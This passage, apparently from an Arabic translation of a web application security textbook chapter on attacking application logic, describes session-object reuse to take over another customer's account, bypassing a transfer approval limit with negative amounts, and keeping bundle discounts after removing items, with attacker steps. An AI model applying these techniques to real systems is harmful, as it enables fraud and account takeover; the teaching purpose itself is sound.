Attacking Backend Components, Attacking
Attacking Backend Components, Attacking
com -
ﺗﺎﺭﻳﺦﺍﻟﻤﻴﻼﺩ CDoB؛
ﻋﻨﻮﺍﻥﺍﻟﻤﻨﺰﻝ؛
ﺭﻗﻢﺍﻟﻌﻤﻴﻞ ﺍﻟﻄﻮﻳﻞ؛
...
ﺑﻌﺪﺟﻤﻊ ﻣﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﺃﻧُﺸﺊ ﻫﺬﺍ ﺍﻟﻜﺎﺉﻦ ،ﻭﻋﺒُﺊ ﺑﺎﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﺪُﺧﻠﺔ ،ﻭﺧﺰُﻥّ ﻓﻲ
ﺟﻠﺴﺔﺍﻟﻤﺴﺘﺨﺪﻡ .ﺑﻌﺪ ﺫﻟﻚ ،ﺗﺤﻘﻖّ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻦ ﺑﻴﺎﻧﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﻭﻓﻲ ﺣﺎﻝ ﺻﺤﺘﻬﺎ ،ﺍﺳﺘﻌﺎﺩ
ﺭﻗﻢﺍﻟﻌﻤﻴﻞ ﺍﻟﻔﺮﻳﺪ ﺍﻟﺨﺎﺹ ﺑﻪ ،ﻭﺍﻟﺬﻱ ﺍﺳﺘﺨُﺪﻡ ﻓﻲ ﺟﻤﻴﻊ ﺃﻧﻈﻤﺔ ﺍﻟﺸﺮﻛﺔ .ﺃﺿُﻴﻒ ﻫﺬﺍ ﺍﻟﺮﻗﻢ ﺇﻟﻰ
ﺍﻟﻜﺎﺉﻦ،ﻣﻊ ﺑﻌﺾ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﻔﻴﺪﺓ ﺍﻷﺧﺮﻯ ﻋﻨﻪ .ﺛﻢ ﻧﻘُﻞ ﺍﻟﻜﺎﺉﻦ ﺇﻟﻰ ﻧﻈﺎﻡ ﺍﻟﻮﺍﺟﻬﺔ ﺍﻟﺨﻠﻔﻴﺔ ﺫﻱ
ﺍﻟﺼﻠﺔﻟﻤﻌﺎﻟﺠﺔ ﻃﻠﺐ ﺍﻟﺘﺴﺠﻴﻞ.
ﺍﻓﺘﺮﺽﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻥ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﺍ ﺍﻟﻤﻜﻮﻥ ﺍﻟﺒﺮﻣﺠﻲ ﺁﻣﻦ ﻭﻟﻦ ﻳﺴُﺒﺐ ﻣﺸﻜﻠﺔ ﺃﻣﻨﻴﺔ .ﺇﻻ ﺃﻥ ﻫﺬﺍ
ﺍﻻﻓﺘﺮﺍﺽﻛﺎﻥ ﺧﺎﻃﺉﺎً ،ﻭﻟﻪ ﻋﻮﺍﻗﺐ ﻭﺧﻴﻤﺔ.
ﺍﻟﻬﺠﻮﻡ
ﺍﺳﺘﺨُﺪﻡﻧﻔﺲ ﻣﻜُﻮﻥِّ ﺍﻟﻜﻮﺩ ﺍﻟﻤﺪُﻣﺞ ﻓﻲ ﻭﻇﻴﻔﺔ ﺍﻟﺘﺴﺠﻴﻞ ﻓﻲ ﺃﻣﺎﻛﻦ ﺃﺧﺮﻯ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ،ﺑﻤﺎ ﻓﻲ
ﺫﻟﻚﺍﻟﻮﻇﻴﻔﺔ ﺍﻷﺳﺎﺳﻴﺔ .ﻭﻗﺪ ﺃﺗﺎﺡ ﻫﺬﺍ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﻢ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺗﻔﺎﺻﻴﻞ
ﺍﻟﺤﺴﺎﺏ،ﻭﻛﺸﻮﻓﺎﺕ ﺍﻟﺤﺴﺎﺑﺎﺕ ،ﻭﺗﺤﻮﻳﻼﺕ ﺍﻷﻣﻮﺍﻝ ،ﻭﻏﻴﺮﻫﺎ ﻣﻦ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ .ﻋﻨﺪﻣﺎ ﻳﺼُﺎﺩﻕ
ﻣﺴﺘﺨﺪﻡﻣﺴُﺠﻞ ﺑﻨﺠﺎﺡ ﻋﻠﻰ ﻧﻔﺴﻪ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ،ﻳﻨُﺸﺄ ﻫﺬﺍ ﺍﻟﻜﺎﺉﻦ ﻧﻔﺴﻪ ﻭﻳﺤُﻔﻆ ﻓﻲ ﺟﻠﺴﺘﻪ
ﻟﺘﺨﺰﻳﻦﻣﻌﻠﻮﻣﺎﺕ ﺃﺳﺎﺳﻴﺔ ﺣﻮﻝ ﻫﻮﻳﺘﻪ .ﻭﻗﺪ ﺍﻋﺘﻤﺪﺕ ﻣﻌﻈﻢ ﻭﻇﺎﺉﻒ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ
ﺍﻟﻤﻮﺟﻮﺩﺓﻓﻲ ﻫﺬﺍ ﺍﻟﻜﺎﺉﻦ ﻟﺘﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺗﻬﺎ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺗﻢ ﺇﻧﺸﺎء ﺗﻔﺎﺻﻴﻞ ﺍﻟﺤﺴﺎﺏ
ﺍﻟﻤﻌﺮﻭﺿﺔﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﺻﻔﺤﺘﻪ ﺍﻟﺮﺉﻴﺴﻴﺔ ﺑﻨﺎء ًﻋﻠﻰ ﺭﻗﻢ ﺍﻟﻌﻤﻴﻞ ﺍﻟﻔﺮﻳﺪ ﺍﻟﻤﻮﺟﻮﺩ ﻓﻲ ﻫﺬﺍ
ﺍﻟﻜﺎﺉﻦ.
ﺇﻥﺍﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ ﺗﻢ ﺑﻬﺎ ﺑﺎﻟﻔﻌﻞ ﺍﺳﺘﺨﺪﺍﻡ ﻣﻜﻮﻥ ﺍﻟﻜﻮﺩ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺗﻌﻨﻲ ﺃﻥ ﺍﻓﺘﺮﺍﺽ
ﺍﻟﻤﻄﻮﺭﻳﻦﻛﺎﻥ ﻣﻌﻴﺒﺎً ،ﻭﺍﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ ﺃﻋﺎﺩﻭﺍ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻓﺘﺤﺖ ﺑﺎﻟﻔﻌﻞ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻛﺒﻴﺮﺓ.
ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺧﻄﻮﺭﺓ ﺍﻟﺜﻐﺮﺓ ،ﺇﻻ ﺃﻧﻬﺎ ﻓﻲ ﺍﻟﻮﺍﻗﻊ ﻛﺎﻧﺖ ﺩﻗﻴﻘﺔ ﻧﺴﺒﻴﺎً ﻓﻲ ﺍﻛﺘﺸﺎﻓﻬﺎ ﻭﺍﺳﺘﻐﻼﻟﻬﺎ.
ﻛﺎﻥﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻭﻇﺎﺉﻒ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻣﺤﻤﻴﺎً ﺑﻀﻮﺍﺑﻂ ﻭﺻﻮﻝ ﻋﻠﻰ ﻋﺪﺓ ﻃﺒﻘﺎﺕ ،ﻭﻛﺎﻥ
ﺍﻟﻤﺴﺘﺨﺪﻡﺑﺤﺎﺟﺔ ﺇﻟﻰ ﺟﻠﺴﺔ ﻣﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ﺑﺎﻟﻜﺎﻣﻞ ﻟﺘﺠﺎﻭﺯ ﻫﺬﻩ ﺍﻟﻀﻮﺍﺑﻂ .ﻟﺬﻟﻚ ،ﻻﺳﺘﻐﻼﻝ ﻫﺬﺍ
ﺍﻟﺨﻠﻞﺍﻟﻤﻨﻄﻘﻲ ،ﻛﺎﻥ ﻋﻠﻰ ﺍﻟﻤﻬﺎﺟﻢ ﺍﺗﺒﺎﻉ ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﺘﺎﻟﻴﺔ:
ﺑﺎﺳﺘﺨﺪﺍﻡﺍﻟﺠﻠﺴﺔ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ﺍﻟﻨﺎﺗﺠﺔ ،ﻳﻤﻜﻨﻚ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻭﻇﻴﻔﺔ ﺍﻟﺘﺴﺠﻴﻞ ﻭﺇﺭﺳﺎﻝ -
ﻣﻌﻠﻮﻣﺎﺕﺷﺨﺼﻴﺔ ﻟﻌﻤﻴﻞ ﺁﺧﺮ .ﺃﺩﻯ ﻫﺬﺍ ﺇﻟﻰ ﺍﺳﺘﺒﺪﺍﻝ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺎﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻷﺻﻠﻴﺔ.ﺍﻟﻌﻤﻴﻞ
ﻛﺎﺉﻦﻓﻲ ﺟﻠﺴﺔ ﺍﻟﻤﻬﺎﺟﻢ ﺑﻜﺎﺉﻦ ﺟﺪﻳﺪ ﻳﺘﻌﻠﻖ ﺑﺎﻟﻌﻤﻴﻞ ﺍﻟﻤﺴﺘﻬﺪﻑ.
ﺍﻟﻌﻮﺩﺓﺇﻟﻰ ﻭﻇﻴﻔﺔ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻭﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺣﺴﺎﺏ ﺍﻟﻌﻤﻴﻞ ﺍﻵﺧﺮ. -
ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ 416
ﻟﻴﺲﻣﻦ ﺍﻟﺴﻬﻞ ﺍﻛﺘﺸﺎﻑ ﺛﻐﺮﺓ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻋﻨﺪ ﻓﺤﺺ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻦ ﻣﻨﻈﻮﺭ ﺍﻟﺼﻨﺪﻭﻕ
ﺍﻷﺳﻮﺩ.ﻭﻣﻊ ﺫﻟﻚ ،ﻳﺼﻌﺐ ﺃﻳﻀﺎً ﺗﺤﺪﻳﺪﻫﺎ ﻋﻨﺪ ﻣﺮﺍﺟﻌﺔ ﺃﻭ ﻛﺘﺎﺑﺔ ﺷﻴﻔﺮﺓ ﺍﻟﻤﺼﺪﺭ ﺍﻟﻔﻌﻠﻴﺔ .ﻓﺒﺪﻭﻥ
ﻓﻬﻢﻭﺍﺿﺢ ﻟﻠﺘﻄﺒﻴﻖ ﻛﻜﻞ ﻭﻛﻴﻔﻴﺔ ﺍﺳﺘﺨﺪﺍﻡ ﻣﻜﻮﻧﺎﺗﻪ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻓﻲ ﻣﺠﺎﻻﺕ ﻣﺨﺘﻠﻔﺔ ،ﻗﺪ ﻻ ﻳﺘﻀﺢ
ﺧﻄﺄﺍﻓﺘﺮﺍﺿﺎﺕ ﺍﻟﻤﻄﻮﺭﻳﻦ .ﻭﺑﺎﻟﻄﺒﻊ ،ﻓﺈﻥ ﻭﺟﻮﺩ ﺷﻴﻔﺮﺓ ﻣﺼﺪﺭﻳﺔ ﻭﻭﺛﺎﺉﻖ ﺗﺼﻤﻴﻤﻴﺔ ﻣﻊ ﺗﻌﻠﻴﻘﺎﺕ
ﻭﺍﺿﺤﺔﻣﻦ ﺷﺄﻧﻬﻤﺎ ﺃﻥ ﻳﻘﻠﻼ ﻣﻦ ﺍﺣﺘﻤﺎﻟﻴﺔ ﻇﻬﻮﺭ ﻣﺜﻞ ﻫﺬﺍ ﺍﻟﻌﻴﺐ ﺃﻭ ﻋﺪﻡ ﺍﻛﺘﺸﺎﻓﻪ.
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
.1ﻓﻲ ﺗﻄﺒﻴﻖ ﻣﻌﻘﺪ ﻳﺘﻀﻤﻦ ﻓﺼﻞ ﺍﻻﻣﺘﻴﺎﺯﺍﺕ ﺃﻓﻘﻴﺎً ﺃﻭ ﺭﺃﺳﻴﺎً ،ﺣﺎﻭﻝ ﺗﺤﺪﻳﺪ ﺃﻱ ﺣﺎﻻﺕ ﻳﻤﻜﻦ ﻓﻴﻬﺎ
ﻟﻤﺴﺘﺨﺪﻡﻓﺮﺩﻱ ﺗﺠﻤﻴﻊ ﻗﺪﺭ ﻣﻦ ﺍﻟﺤﺎﻟﺔ ﺩﺍﺧﻞ ﺟﻠﺴﺘﻪ ﻭﺍﻟﺘﻲ ﺗﺘﻌﻠﻖ ﺑﻄﺮﻳﻘﺔ ﻣﺎ ﺑﻬﻮﻳﺘﻪ.
.2ﺣﺎﻭﻝ ﺍﻻﻧﺘﻘﺎﻝ ﻋﺒﺮ ﻣﻨﻄﻘﺔ ﻭﺍﺣﺪﺓ ﻣﻦ ﺍﻟﻮﻇﺎﺉﻒ ،ﺛﻢ ﺍﻟﺘﺒﺪﻳﻞ ﺇﻟﻰ ﻣﻨﻄﻘﺔ ﻏﻴﺮ ﺫﺍﺕ ﺻﻠﺔ،
ﻟﺘﺤﺪﻳﺪﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ ﺃﻱ ﻣﻌﻠﻮﻣﺎﺕ ﺣﺎﻟﺔ ﻣﺘﺮﺍﻛﻤﺔ ﻟﻬﺎ ﺗﺄﺛﻴﺮ ﻋﻠﻰ ﺳﻠﻮﻙ ﺍﻟﺘﻄﺒﻴﻖ.
ﺍﻟﻮﻇﻴﻔﺔ
ﺗﻤﻜﻦﻣﻮﻇﻔﻮ ﺍﻟﺸﺆﻭﻥ ﺍﻟﻤﺎﻟﻴﺔ ﻣﻦ ﺇﺟﺮﺍء ﺗﺤﻮﻳﻼﺕ ﻣﺎﻟﻴﺔ ﺑﻴﻦ ﻣﺨﺘﻠﻒ ﺍﻟﺤﺴﺎﺑﺎﺕ ﺍﻟﻤﺼﺮﻓﻴﺔ ﻟﻠﺸﺮﻛﺔ
ﻭﻋﻤﻼﺉﻬﺎﻭﻣﻮﺭﺩﻳﻬﺎ ﺍﻟﺮﺉﻴﺴﻴﻴﻦ .ﻭﻛﺈﺟﺮﺍء ﺍﺣﺘﺮﺍﺯﻱ ﺿﺪ ﺍﻻﺣﺘﻴﺎﻝ ،ﻣﻨﻊ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻌﻈﻢ
ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﻣﻦ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺘﺤﻮﻳﻼﺕ ﺍﻟﺘﻲ ﺗﺰﻳﺪ ﻗﻴﻤﺘﻬﺎ ﻋﻦ 10,000ﺩﻭﻻﺭ ﺃﻣﺮﻳﻜﻲ .ﺃﻱ ﺗﺤﻮﻳﻞ
ﻳﺘﺠﺎﻭﺯﻫﺬﺍ ﺍﻟﻤﺒﻠﻎ ﻳﺘﻄﻠﺐ ﻣﻮﺍﻓﻘﺔ ﺍﻟﻤﺪﻳﺮ ﺍﻷﻋﻠﻰ.
ﺍﻻﻓﺘﺮﺍﺽ
ﻛﺎﻥﺍﻟﻜﻮﺩ ﺍﻟﻤﺴﺆﻭﻝ ﻋﻦ ﺗﻨﻔﻴﺬ ﻫﺬﺍ ﺍﻟﻔﺤﺺ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺴﻴﻄﺎً:
ﺍﻓﺘﺮﺽﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻥ ﻫﺬﺍ ﺍﻟﻔﺤﺺ ﺍﻟﺸﻔﺎﻑ ﻣﻀﻤﻮﻥ .ﻓﻼ ﻳﻤﻜﻦ ﻷﻱ ﻣﻌﺎﻣﻠﺔ ﺗﺘﺠﺎﻭﺯ ﺍﻟﺤﺪ
ﺍﻷﻗﺼﻰﺍﻟﻤﺤﺪﺩ ﺃﻥ ﺗﺘﺠﻨﺐ ﺷﺮﻁ ﺍﻟﻤﻮﺍﻓﻘﺔ ﺍﻟﺜﺎﻧﻮﻳﺔ.
ﺍﻟﻬﺠﻮﻡ
ﻛﺎﻥﺍﻓﺘﺮﺍﺽ ﺍﻟﻤﻄﻮﺭﻳﻦ ﺧﺎﻃﺉﺎً ،ﺇﺫ ﺗﺠﺎﻫﻠﻮﺍ ﺍﺣﺘﻤﺎﻟﻴﺔ ﻣﺤﺎﻭﻟﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻌﺎﻟﺠﺔ ﺗﺤﻮﻳﻞ ﺑﻤﺒﻠﻎ
ﺳﺎﻟﺐ.ﺃﻱ ﺭﻗﻢ ﺳﺎﻟﺐ ﺳﻴﺠﺘﺎﺯ ﺍﺧﺘﺒﺎﺭ ﺍﻟﻤﻮﺍﻓﻘﺔ ،ﻷﻧﻪ ﺃﻗﻞ ﻣﻦ ﺍﻟﺤﺪ ﺍﻷﺩﻧﻰ .ﻣﻊ ﺫﻟﻚ ،ﺗﻘﺒﻞ ﻭﺣﺪﺓ
ﺍﻟﺨﺪﻣﺎﺕﺍﻟﻤﺼﺮﻓﻴﺔ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺘﺤﻮﻳﻼﺕ ﺍﻟﺴﺎﻟﺒﺔ ،ﻭﺗﻌﺎﻟﺠﻬﺎ ﺑﺒﺴﺎﻃﺔ ﻛﺘﺤﻮﻳﻼﺕ ﻣﻮﺟﺒﺔ ﻓﻲ
ﺍﻻﺗﺠﺎﻩﺍﻟﻤﻌﺎﻛﺲ .ﻭﺑﺎﻟﺘﺎﻟﻲ ،ﻳﻤﻜﻦ ﻷﻱ ﻣﺴﺘﺨﺪﻡ ﻳﺮﻏﺐ ﻓﻲ ﺗﺤﻮﻳﻞ 20,000ﺩﻭﻻﺭ ﺃﻣﺮﻳﻜﻲ ﻣﻦ
ﺍﻟﺤﺴﺎﺏ"ﺃ" ﺇﻟﻰ ﺍﻟﺤﺴﺎﺏ "ﺏ" ﺃﻥ ﻳﺒﺪﺃ ﺑﺒﺴﺎﻃﺔ ﺗﺤﻮﻳﻼً ﺑﻘﻴﻤﺔ ﺳﺎﻟﺒﺔ ﻗﺪﺭﻫﺎ 20,000ﺩﻭﻻﺭ ﺃﻣﺮﻳﻜﻲ
ﻣﻦﺍﻟﺤﺴﺎﺏ "ﺏ" ﺇﻟﻰ ﺍﻟﺤﺴﺎﺏ "ﺃ" ،ﻭﻫﻮ ﻣﺎ ﻛﺎﻥ ﻟﻪ ﻧﻔﺲ ﺍﻟﺘﺄﺛﻴﺮ ،ﻭﻟﻢ ﻳﺘﻄﻠﺐ ﻣﻮﺍﻓﻘﺔ .ﻳﻤﻜﻦ
ﺗﺠﺎﻭﺯﺩﻓﺎﻋﺎﺕ ﻣﻜﺎﻓﺤﺔ ﺍﻻﺣﺘﻴﺎﻝ ﺍﻟﻤﺪﻣﺠﺔ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺴﻬﻮﻟﺔ!
ﻣﻠﺤﻮﻇﺔﺗﺴﺘﺨﺪﻡ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺃﻧﻮﺍﻉ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﺣﺪﻭﺩﺍً ﺭﻗﻤﻴﺔ ﺩﺍﺧﻞ ﻣﻨﻄﻖ ﺍﻷﻋﻤﺎﻝ
ﺍﻟﺨﺎﺹﺑﻬﺎ:
ﻗﺪﻳﻤﻨﻊ ﺗﻄﺒﻴﻖ ﺍﻟﺒﻴﻊ ﺑﺎﻟﺘﺠﺰﺉﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻦ ﻃﻠﺐ ﻋﺪﺩ ﻭﺣﺪﺍﺕ ﺃﻛﺒﺮ ﻣﻦ ﺍﻟﻌﺪﺩ -
ﺍﻟﻤﺘﻮﻓﺮﻓﻲ ﺍﻟﻤﺨﺰﻭﻥ.
ﻗﺪﻳﻤﻨﻊ ﺗﻄﺒﻴﻖ ﻣﺼﺮﻓﻲ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻦ ﺳﺪﺍﺩ ﺍﻟﻔﻮﺍﺗﻴﺮ ﺍﻟﺘﻲ ﺗﺘﺠﺎﻭﺯ ﺭﺻﻴﺪ ﺣﺴﺎﺑﻪ -
ﺍﻟﺤﺎﻟﻲ.
ﻗﺪﻳﻘﻮﻡ ﺗﻄﺒﻴﻖ ﺍﻟﺘﺄﻣﻴﻦ ﺑﺘﻌﺪﻳﻞ ﻋﺮﻭﺽ ﺍﻷﺳﻌﺎﺭ ﺍﻟﺨﺎﺻﺔ ﺑﻪ ﺑﻨﺎء ًﻋﻠﻰ ﺣﺪﻭﺩ ﺍﻟﻌﻤﺮ. -
ﺇﻥﺇﻳﺠﺎﺩ ﻃﺮﻳﻘﺔ ﻟﺘﺠﺎﻭﺯ ﻫﺬﻩ ﺍﻟﻘﻴﻮﺩ ﻻ ﻳﻤُﺜﻞ ﻓﻲ ﻛﺜﻴﺮ ﻣﻦ ﺍﻷﺣﻴﺎﻥ ﺧﻄﺮﺍً ﺃﻣﻨﻴﺎً ﻋﻠﻰ ﺍﻟﺘﻄﺒﻴﻖ
ﻧﻔﺴﻪ.ﻭﻣﻊ ﺫﻟﻚ ،ﻗﺪ ﺗﻜﻮﻥ ﻟﻪ ﻋﻮﺍﻗﺐ ﻭﺧﻴﻤﺔ ﻋﻠﻰ ﺍﻷﻋﻤﺎﻝ ،ﻭﻳﻤُﺜﻞ ﺧﺮﻗﺎً ﻟﻠﻀﻮﺍﺑﻂ ﺍﻟﺘﻲ ﻳﻌﺘﻤﺪ
ﻣﺎﻟﻚﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺗﻄﺒﻴﻘﻬﺎ.
ﻏﺎﻟﺒﺎًﻣﺎ ﺗﻜُﺘﺸﻒ ﺃﺑﺮﺯ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﺃﺛﻨﺎء ﺍﺧﺘﺒﺎﺭ ﻗﺒﻮﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﺍﻟﺬﻱ ﻳﺠُﺮﻯ ﻋﺎﺩﺓ ًﻗﺒﻞ
ﺗﺸﻐﻴﻞﺍﻟﺘﻄﺒﻴﻖ .ﻭﻣﻊ ﺫﻟﻚ ،ﻗﺪ ﺗﺒﻘﻰ ﻣﻈﺎﻫﺮ ﺃﻛﺜﺮ ﺩﻗﺔ ﻟﻠﻤﺸﻜﻠﺔ ،ﺧﺎﺻﺔ ًﻋﻨﺪ ﺍﻟﺘﻼﻋﺐ
ﺑﺎﻟﻤﻌﻠﻤﺎﺕﺍﻟﻤﺨﻔﻴﺔ.
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
.٢ﻗﺪ ﺗﺤﺘﺎﺝ ﺇﻟﻰ ﺗﻨﻔﻴﺬ ﻋﺪﺓ ﺧﻄﻮﺍﺕ ﻟﻬﻨﺪﺳﺔ ﺗﻐﻴﻴﺮ ﻓﻲ ﺣﺎﻟﺔ ﺍﻟﺘﻄﺒﻴﻖ ﻳﻤُﻜﻦ ﺍﺳﺘﻐﻼﻟﻪ ﻷﻏﺮﺍﺽ
ﻣﻔﻴﺪﺓ.ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻗﺪ ﻳﻠﺰﻡ ﺇﺟﺮﺍء ﻋﺪﺓ ﺗﺤﻮﻳﻼﺕ ﺑﻴﻦ ﺍﻟﺤﺴﺎﺑﺎﺕ ﺣﺘﻰ ﻳﺘﻢ ﺗﺠﻤﻴﻊ
ﺭﺻﻴﺪﻣﻨﺎﺳﺐ ﻳﻤُﻜﻦ ﺍﺳﺘﺨﺮﺍﺟﻪ ﻓﻌﻠﻴﺎً.
ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ 418
ﺍﻟﻮﻇﻴﻔﺔ
ﺃﺗﺎﺡﺍﻟﺘﻄﺒﻴﻖ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﻃﻠﺐ ﻣﻨﺘﺠﺎﺕ ﺑﺮﻣﺠﻴﺔ ﻭﺍﻟﺤﺼﻮﻝ ﻋﻠﻰ ﺧﺼﻮﻣﺎﺕ ﻋﻨﺪ ﺷﺮﺍء ﺣﺰﻣﺔ
ﻣﻨﺎﺳﺒﺔ.ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺣﺼﻞ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ ﺍﻟﺬﻳﻦ ﺍﺷﺘﺮﻭﺍ ﺣﻠﻮﻻ ًﻟﻤﻜﺎﻓﺤﺔ ﺍﻟﻔﻴﺮﻭﺳﺎﺕ،
ﻭﺟﺪﺍﺭﺣﻤﺎﻳﺔ ﺷﺨﺼﻲ ،ﻭﺑﺮﺍﻣﺞ ﻟﻤﻜﺎﻓﺤﺔ ﺍﻟﺒﺮﻳﺪ ﺍﻟﻌﺸﻮﺍﺉﻲ ﻋﻠﻰ ﺧﺼﻢ %25ﻋﻠﻰ ﺍﻷﺳﻌﺎﺭ ﺍﻟﻔﺮﺩﻳﺔ.
ﺍﻻﻓﺘﺮﺍﺽ
ﻋﻨﺪﻣﺎﺃﺿﺎﻑ ﻣﺴﺘﺨﺪﻡ ٌﺑﺮﻧﺎﻣﺠﺎً ﺇﻟﻰ ﺳﻠﺔ ﻣﺸﺘﺮﻳﺎﺗﻪ ،ﺍﺳﺘﺨﺪﻡ ﺍﻟﺘﻄﺒﻴﻖ ﻗﻮﺍﻋﺪ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺤﺪﻳﺪ ﻣﺎ
ﺇﺫﺍﻛﺎﻧﺖ ﺑﺎﻗﺔ ﺍﻟﻤﺸﺘﺮﻳﺎﺕ ﺍﻟﺘﻲ ﺍﺧﺘﺎﺭﻫﺎ ﺗﺴﺘﺤﻖ ﺧﺼﻤﺎً .ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻋﺪُﻟِّﺖ ﺃﺳﻌﺎﺭ ﺍﻟﻤﻨﺘﺠﺎﺕ
ﺫﺍﺕﺍﻟﺼﻠﺔ ﻓﻲ ﺳﻠﺔ ﺍﻟﺘﺴﻮﻕ ﺑﻤﺎ ﻳﺘﻨﺎﺳﺐ ﻣﻊ ﺍﻟﺨﺼﻢ .ﺍﻓﺘﺮﺽ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻥ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺳﻴﺸﺘﺮﻱ
ﺍﻟﺒﺎﻗﺔﺍﻟﺘﻲ ﺍﺧﺘﺎﺭﻫﺎ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﺴﺘﺤﻖ ﺍﻟﺨﺼﻢ.
ﺍﻟﻬﺠﻮﻡ
ﻣﻦﺍﻟﻮﺍﺿﺢ ﺃﻥ ﺍﻓﺘﺮﺍﺽ ﺍﻟﻤﻄﻮﺭﻳﻦ ﺧﺎﻃﺊ ،ﺇﺫ ﻳﺘﺠﺎﻫﻞ ﺇﻣﻜﺎﻧﻴﺔ ﺇﺯﺍﻟﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻟﻠﻤﻨﺘﺠﺎﺕ ﻣﻦ
ﺳﻠﺔﺍﻟﺘﺴﻮﻕ ﺑﻌﺪ ﺇﺿﺎﻓﺘﻬﺎ .ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﻤﺎﻫﺮ ﺇﺿﺎﻓﺔ ﻛﻤﻴﺎﺕ ﻛﺒﻴﺮﺓ ﻣﻦ ﻛﻞ ﻣﻨﺘﺞ ﻣﻌﺮﻭﺽ
ﻟﻠﺒﻴﻊﻣﻦ ﺍﻟﺒﺎﺉﻊ ﺇﻟﻰ ﺳﻠﺔ ﺍﻟﺘﺴﻮﻕ ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﺃﻛﺒﺮ ﻗﺪﺭ ﻣﻤﻜﻦ ﻣﻦ ﺍﻟﺨﺼﻮﻣﺎﺕ .ﺑﻌﺪ ﺗﻄﺒﻴﻖ
ﺍﻟﺨﺼﻮﻣﺎﺕﻋﻠﻰ ﺍﻟﻤﻨﺘﺠﺎﺕ ﻓﻲ ﺳﻠﺔ ﺍﻟﺘﺴﻮﻕ ،ﻳﻤﻜﻨﻪ ﺇﺯﺍﻟﺔ ﺍﻟﻤﻨﺘﺠﺎﺕ ﺍﻟﺘﻲ ﻻ ﻳﺮﻳﺪﻫﺎ ﻣﻊ ﺍﻻﺣﺘﻔﺎﻅ
